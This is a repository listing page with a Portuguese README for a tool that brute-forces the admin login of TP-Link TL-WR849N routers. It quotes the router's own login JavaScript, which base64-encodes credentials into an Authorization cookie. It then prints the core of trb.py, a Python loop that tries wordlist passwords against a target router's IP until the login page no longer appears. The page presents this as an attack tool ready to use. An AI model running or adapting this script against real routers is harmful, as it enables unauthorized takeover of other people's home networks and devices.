https://github.com/walderlansena/toolsrouterbrute
:skull: :satellite: Tool to perform brute force attack on TPLink routers
https://github.com/walderlansena/toolsrouterbrute
brute-force hacker pentest router tools tp-link
Last synced: 3 months ago
JSON representation
:skull: :satellite: Tool to perform brute force attack on TPLink routers
- Host: GitHub
- URL: https://github.com/walderlansena/toolsrouterbrute
- Owner: WalderlanSena
- License: mit
- Created: 2018-06-24T03:28:47.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2019-06-12T02:56:30.000Z (about 7 years ago)
- Last Synced: 2025-07-13T01:31:56.578Z (11 months ago)
- Topics: brute-force, hacker, pentest, router, tools, tp-link
- Language: Python
- Homepage:
- Size: 263 KB
- Stars: 16
- Watchers: 2
- Forks: 9
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
Tools Router Brute
Tool to perform brute force attack on TPLink routers
Modelo Roteador Wireless N 300Mbps
TL-WR849N
- Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD
- Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador
- WDS wireless bridge fornece perfeita ponte para expandir a rede wireless
Funcionamento da Autenticação do TP-Link - TL-WR849N
- Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usúario.
- Criando uma variavél isLocker e atribuindo o valor false a mesma.
- Deletando o cookie Authorization, vulgo responsável pela a autenticação.
```javascript
var url = window.location.href;
if (url.indexOf("tplinklogin.net") >= 0)
{
url = url.replace("tplinklogin.net", "tplinkwifi.net");
window.location = url;
}
var isLocked = false;
deleteCookie("Authorization");
```
Função responsável implementar a hash base64, que é utilizada para setar o Cookie de autenticação.
```javascript
function Base64Encoding(input)
{
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = utf8_encode(input);
while (i < input.length)
{
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2))
{
enc3 = enc4 = 64;
}
else if (isNaN(chr3))
{
enc4 = 64;
}
output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
}
return output;
}
```
### Função que monitora o clique de login e captura os dados informado pelo usúario
```javascript
function PCWin(event)
{
if (event.keyCode == 13)
{
PCSubWin();
}
}
function PCSubWin()
{
// Verifica se o usúario não está bloqueado por alguns segundos
if (isLocked == true)
{
return;
}
// Criando uma variavel que receberá o base64 referente a autenticação
// E criando duas variavels para receber o userName e o password
var auth;
var password = $("pcPassword").value;
var userName = $("userName").value;
// Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password
auth = "Basic "+Base64Encoding(userName+":"+password);
// Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo
document.cookie = "Authorization=" + auth;
// Recarrega a página
window.location.reload();
}
```
### Entendendo o funcionamento do script trb.py
```python
def main():
wordlist = open(sys.argv[3], 'r')
count = 0
for i in wordlist:
login = str(sys.argv[1])
password = i.rstrip()
auth = "Basic "
authEncode = auth+base64.b64encode(login+':'+password)
cookie = {"Authorization": authEncode}
try:
response = r.get('http://'+sys.argv[2], cookies=cookie)
except:
splash()
print("\tError to connect: " + sys.argv[2])
exit(1)
if response.content.count('id="userName"') != 1:
os.system('setterm -cursor on')
print('\n\tPassword Found =====> ' + password)
exit(0)
os.system("clear")
splash()
count = count + 1
print('\t[ '+ str(count) + ' ] Password not found ===> ' + password)
```